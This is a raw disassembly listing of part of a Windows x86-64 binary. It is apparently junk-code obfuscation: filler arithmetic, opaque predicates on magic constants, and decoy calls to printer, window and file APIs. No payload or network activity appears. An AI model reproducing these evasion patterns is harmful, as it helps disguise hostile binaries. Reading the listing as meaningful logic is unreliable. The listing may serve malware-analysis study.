mov eax, dword [rax]
mov ecx, dword [rsp + 0x1558]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x153c], eax
jmp 0x14000cd03
movzx ecx, byte [rsp + 0x5e]
call fcn.14009fbf0
nop
movzx eax, byte [0x1400b9e10]
mov byte [rsp + 0x1604], al
cmp byte [rsp + 0x1604], 0
je 0x14000cd20
jmp 0x14009ebe4
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov dword [rsp + 0x1608], eax
cmp dword [rsp + 0x1608], 0x1fc1
je 0x14000cd41
jmp 0x14000cd6f
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov dword [rsp + 0x146c], eax
mov eax, dword [rsp + 0x15b8]
mov ecx, dword [rsp + 0x142c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2928]
mov dword [rcx], eax
jmp 0x14000ce13
mov rax, qword [rsp + 0x2800]
mov qword [rsp + 0x2ba8], rax
movabs rax, 0xe2108bced126dcc2
cmp qword [rsp + 0x2ba8], rax
je 0x14000cd95
jmp 0x14000ce0d
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov word [rsp + 0x5dc], ax
movzx eax, byte [rsp + 0x5e]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x2bb0], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c8]
and eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov word [rsp + 0x5b8], ax
jmp 0x14000ce13
call fcn.14009fa10
nop
mov eax, dword [rsp + 0x160c]
mov dword [rsp + 0x1610], eax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
add eax, ecx
movsx ecx, word [rsp + 0x5cc]
movsx edx, word [rsp + 0x5bc]
add ecx, edx
cmp eax, ecx
jg 0x14009eb6e
mov rax, qword [rsp + 0x27a8]
mov rcx, qword [0x1400b9008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
sub eax, ecx
mov word [rsp + 0x5c0], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0xa9]
and eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x5b8]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2940]
mov word [rcx], ax
mov rax, qword [rsp + 0x2bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2b30]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x2918]
mov ecx, dword [rsp + 0x1564]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1544], eax
mov rax, qword [rsp + 0x2970]
mov rcx, qword [0x1400b9e18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1544]
mov ecx, dword [rsp + 0x1564]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2af0]
mov ecx, dword [rsp + 0x14e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1610], eax
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d0]
add eax, ecx
mov word [rsp + 0x5d4], ax
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
sub eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [0x1400b9010]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2b68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x2848]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2808], rax
mov rax, qword [0x1400b9e20]
mov ecx, dword [rsp + 0x1544]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x14d8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1564], eax
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x2b58]
mov qword [rsp + 0x2bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2bb8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2a28], rax
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x5d8]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x29e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x28c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xab], al
movsx eax, word [rsp + 0x5b8]
movsx ecx, word [rsp + 0x5cc]
add eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2808]
mov rcx, qword [rsp + 0x25f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1558]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x28f0]
mov rcx, qword [rsp + 0x2a28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x160c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x2b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sar eax, cl
mov rcx, qword [rsp + 0x2b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
or eax, ecx
mov word [rsp + 0x5bc], ax
mov rax, qword [rsp + 0x27f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2948]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2970]
mov qword [rsp + 0x2bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2bc0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x14d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1440]
sub eax, 0xc4
mov dword [rsp + 0x1440], eax
mov rax, qword [rsp + 0x2928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x15b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x2918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
movsx eax, byte [0x1400b9e10]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xad], al
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x5e]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
and eax, ecx
mov rcx, qword [rsp + 0x2b10]
mov word [rcx], ax
cmp dword [rsp + 0x1440], 0x3a7
jae 0x14000ce70
movzx eax, word [rsp + 0x404]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5dc]
movzx ecx, word [rsp + 0x5d4]
sub eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b58]
mov rcx, qword [rsp + 0x2970]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x28b8], rax
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1510]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x27a8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x27e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x160c]
movzx ecx, al
mov eax, dword [rsp + 0x143c]
sar eax, cl
mov rcx, qword [rsp + 0x2878]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2bb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa8]
shl eax, cl
mov byte [rsp + 0x5e], al
movzx eax, word [rsp + 0x5dc]
mov rcx, qword [rsp + 0x2818]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5d8], ax
mov rax, qword [rsp + 0x2b10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2b68]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x2a58]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2b48]
mov ecx, dword [rsp + 0x1564]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2a28]
mov rcx, qword [rsp + 0x28f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x15e0]
mov ecx, dword [rsp + 0x143c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x142c], eax
movzx eax, word [rsp + 0x5d8]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5dc], ax
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2bb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x27f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5e]
movzx ecx, byte [rsp + 0xa9]
shl eax, cl
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2970]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2800], rax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27a8]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400b9008], rax
mov rax, qword [rsp + 0x2af0]
mov rcx, qword [rsp + 0x2a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x142c], eax
mov rax, qword [rsp + 0x28d0]
mov ecx, dword [rsp + 0x1488]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1460], eax
mov rax, qword [rsp + 0x2b68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x28f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5c4]
movzx ecx, word [rsp + 0x5dc]
sub eax, ecx
mov rcx, qword [rsp + 0x2948]
mov word [rcx], ax
movzx eax, byte [0x1400b9004]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x2b10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x2b10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2bb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2800]
mov rcx, qword [rsp + 0x28b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x152c]
mov ecx, dword [rsp + 0x14d8]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2808], rax
mov eax, dword [rsp + 0x14e0]
mov ecx, dword [rsp + 0x15e0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sar eax, cl
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
shl eax, cl
mov word [rsp + 0x5cc], ax
mov eax, dword [rsp + 0x1490]
add eax, 0xe8
mov dword [rsp + 0x1490], eax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x29e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2978]
mov word [rcx], ax
mov rax, qword [rsp + 0x2940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov rcx, qword [rsp + 0x2b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x2848]
mov rcx, qword [rsp + 0x2888]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x2918]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x15b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2a40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1544]
mov ecx, dword [rsp + 0x1460]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2b48]
mov dword [rcx], eax
cmp dword [rsp + 0x1490], 0x7ec4
jbe 0x14000d35d
movsx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x2b10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x2810]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x14000d92d
mov rax, qword [rsp + 0x2a88]
mov rcx, qword [rsp + 0x2930]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2a28], rax
movsx eax, word [rsp + 0x5b8]
mov dword [rsp + 0x245c], eax
cmp dword [rsp + 0x245c], 0x5137
je 0x14009ebad
jmp 0x14009ebca
mov eax, dword [rsp + 0x14f8]
mov ecx, dword [rsp + 0x1544]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
jmp 0x14009ebdf
mov rcx, qword [rsp + 0x2d60]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov dword [rsp + 0x1600], eax
jmp 0x14009ecd7
lea rax, [rsp + 0xe900]
mov qword [rsp + 0x20], rax
mov r9d, 0x22
lea r8, [rsp + 0x15e0]
mov edx, 0xc
mov rcx, qword [rsp + 0x2c98]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x170c], eax
movsx eax, byte [rsp + 0xad]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov dword [rsp + 0x2460], eax
cmp dword [rsp + 0x2460], 0xd2d33441
je 0x14009ec54
jmp 0x14009ecba
mov rax, qword [rsp + 0x28d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x28e8]
mov qword [rsp + 0xe718], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe718]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1510], eax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx eax, ax
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x2840]
mov rcx, qword [rsp + 0x2b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
jmp 0x14009ecd7
mov rax, qword [rsp + 0x2808]
movzx ecx, al
mov rax, qword [rsp + 0x27a8]
shl rax, cl
mov qword [0x1400b9008], rax
mov rax, qword [rsp + 0x2888]
mov rcx, qword [rsp + 0x27e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2848]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5cc]
movsx ecx, word [0x1400b9010]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x2b10]
movsx edx, word [rdx]
add ecx, edx
mov eax, dword [rsp + 0x15b8]
mov dword [rsp + 0x2464], eax
cmp dword [rsp + 0x2464], 0x6a045d32
je 0x14009ed44
jmp 0x14009ede7
mov r9d, 0x95
lea r8, [rsp + 0xf160]
mov rdx, qword [rsp + 0x29a0]
mov rcx, qword [rsp + 0xe6e0]
call qword [sym.imp.USER32.dll_MapWindowPoints]
mov dword [rsp + 0x160c], eax
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xac]
add eax, ecx
mov rcx, qword [rsp + 0x28e0]
mov byte [rcx], al
lea rdx, [rsp + 0xaa]
mov rcx, qword [rsp + 0x2988]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x1528], eax
mov rax, qword [rsp + 0x2b60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
add eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x2b68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
and eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5c0], ax
mov eax, dword [rsp + 0x1564]
mov ecx, dword [rsp + 0x14f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5c0]
mov dword [rsp + 0x2468], eax
cmp dword [rsp + 0x2468], 0x218
je 0x14009eeb3
cmp dword [rsp + 0x2468], 0xd9f
je 0x14009ee4e
jmp 0x14009eecb
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x2b60]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa8], al
lea rax, [rsp + 0xe900]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2b08]
mov qword [rsp + 0x20], rax
mov r9d, 0x85
lea r8, [rsp + 0xe900]
mov rdx, qword [rsp + 0x2a18]
mov rcx, qword [rsp + 0x2ab0]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x1510], eax
jmp 0x14009eecb
mov edx, dword [rsp + 0x15b8]
mov rax, qword [rsp + 0x2970]
mov rcx, qword [rax]
call fcn.1400a03d0
nop
mov edx, 0xa7
mov rcx, qword [rsp + 0x2be8]
call qword [sym.imp.USER32.dll_GetDlgItem]
mov qword [rsp + 0xe6e0], rax
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x1558]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1400b9e20]
mov dword [rcx], eax
jmp 0x14009ef1f
mov rax, qword [rsp + 0x2af0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x2a88]
mov rcx, qword [rax]
call fcn.1400a03d0
nop
lea rax, [rsp + 0x27b8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2af0]
mov r8d, 0x6d
lea rdx, [rsp + 0xed90]
mov rcx, qword [rsp + 0x2bd8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x146c], eax
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov rcx, qword [0x1400b9e18]
and rcx, rax
mov rax, rcx
mov qword [0x1400b9018], rax
mov rax, qword [rsp + 0x2928]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2a40]
mov qword [rsp + 0xe720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe720]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x2a10]
call qword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [rsp + 0x1600], eax
jmp 0x14009f02c
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
mov dword [rsp + 0x246c], eax
cmp dword [rsp + 0x246c], 0x988
je 0x14009efe1
jmp 0x14009efe3
jmp 0x14009eff4
mov rax, qword [rsp + 0x2a58]
movzx ecx, byte [rax]
call fcn.1400a0b80
nop
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0xa8]
and eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x2948]
movzx eax, word [rax]
movzx ecx, word [0x1400b9e14]
sub eax, ecx
mov word [rsp + 0x5c8], ax
lea r9, [rsp + 0x5e]
mov r8d, 0xae
mov rdx, qword [rsp + 0x2b08]
mov rcx, qword [rsp + 0xe6e0]
call qword [sym.imp.USER32.dll_GetMenuItemRect]
mov dword [rsp + 0x14b0], eax
mov eax, dword [rsp + 0x143c]
mov dword [rsp + 0x2470], eax
cmp dword [rsp + 0x2470], 0x499951e5
je 0x14009f090
jmp 0x14009f130
movsx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
or eax, ecx
movsx ecx, byte [0x1400b9e10]
mov dword [rsp + 0x2474], ecx
mov rdx, qword [rsp + 0x29c8]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2474]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14009f0f0
mov rax, qword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x2928]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x29d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5cc], ax
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [rsp + 0x152c], eax
mov rax, qword [rsp + 0x2a58]
movzx ecx, byte [rax]
call fcn.1400a0b80
nop
jmp 0x14009f152
mov rax, qword [rsp + 0x2900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x29c8]
mov byte [rcx], al
mov r8d, 0xef
lea rdx, str.ship_trellised_Pointlessness
lea rcx, [rsp + 0xebe0]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
mov qword [rsp + 0x2880], rax
mov rax, qword [rsp + 0x2a88]
mov rax, qword [rax]
mov qword [rsp + 0xe728], rax
movabs rax, 0x3aac5bdb84ede131
cmp qword [rsp + 0xe728], rax
je 0x14009f1a1
jmp 0x14009f23f
mov rax, qword [rsp + 0x2a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sar eax, cl
mov rcx, qword [rsp + 0x2a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1400b9e10]
or eax, ecx
mov byte [rsp + 0xaa], al
lea r8, [rsp + 0x2870]
lea rdx, [rsp + 0x1518]
mov rcx, qword [rsp + 0x2b20]
call qword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
mov dword [rsp + 0x1420], eax
movzx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x27f8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x29d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c0], ax
jmp 0x14009f263
mov rax, qword [rsp + 0x2a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28e8]
mov eax, dword [rax]
mov dword [rsp + 0x2478], eax
cmp dword [rsp + 0x2478], 0xce2c6f2a
je 0x14009f293
cmp dword [rsp + 0x2478], 0xe23b50b2
je 0x14009f300
jmp 0x14009f31d
mov rax, qword [rsp + 0x2930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28b0]
mov rcx, qword [rsp + 0x2838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x143c], eax
lea rdx, [rsp + 0xe770]
mov rcx, qword [rsp + 0x2c98]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x1528], eax
movzx ecx, byte [rsp + 0xa9]
call fcn.14009fbf0
nop
jmp 0x14009f31d
mov rax, qword [rsp + 0x28e8]
mov ecx, dword [rsp + 0x153c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0x1e
lea rax, [rsp + 0x2840]
mov qword [rsp + 0x20], rax
mov r9d, 0x55
mov r8, qword [rsp + 0x2a00]
mov rdx, qword [rsp + 0x2a18]
mov rcx, qword [rsp + 0x2c98]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x1460], eax
mov eax, dword [rsp + 0x1544]
mov dword [rsp + 0x247c], eax
cmp dword [rsp + 0x247c], 0x6200c9db
je 0x14009f386
cmp dword [rsp + 0x247c], 0xf5fbebb5
je 0x14009f3bc
jmp 0x14009f3db
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2940]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
